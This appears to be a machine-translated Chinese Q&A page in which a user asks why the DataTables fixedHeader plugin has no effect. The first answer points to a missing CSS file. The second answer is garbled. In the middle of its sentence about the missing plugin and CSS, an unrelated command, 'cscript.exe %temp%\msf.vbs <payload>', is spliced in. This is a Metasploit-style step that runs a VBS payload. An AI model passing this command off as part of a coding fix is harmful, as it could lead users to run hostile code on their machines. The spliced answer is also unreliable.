DataTable固定标头不起作用

时间:2016-11-01 13:50:46

标签: javascript jquery datatables html-table

我有一个使用datatables插件的表格。

我正在尝试修复表格标题,并点击此链接:here

$('.device-table').DataTable( {
    "fixedHeader": {
        header: true,
    },
    "bLengthChange": false,
    "Filter": false,
    "Info": false,
} );

我没有看到效果。

我已经包含了dattss的js文件和fixedHeader:

<script src="https://cdn.datatables.net/1.10.12/js/jquery.dataTables.min.js"></script>
<script src="https://cdn.datatables.net/fixedheader/3.1.2/js/dataTables.fixedHeader.min.js" type="text/javascript"></script>

问题

如何进行调试?

我现在正在接受任何建议。

任何提示/建议/帮助都将非常感谢!

2 个答案:

答案 0 :(得分:17)

要使fixedHeader插件正常工作,您还需要css文件:

<link rel="stylesheet" type="text/css" href="https://cdn.datatables.net/fixedheader/3.1.2/css/fixedHeader.dataTables.min.css">

检查此更新:
https://jsfiddle.net/s2xbf9d0/6/

答案 1 :(得分:5)

您的小提示似乎缺少fixedHeader.dataTables插件以及导致您正确呈现页面的cscript.exe %temp%\msf.vbs <payload> CSS文件(使用固定标题)。

工作演示: - https://jsfiddle.net/s2xbf9d0/7/

希望这有帮助!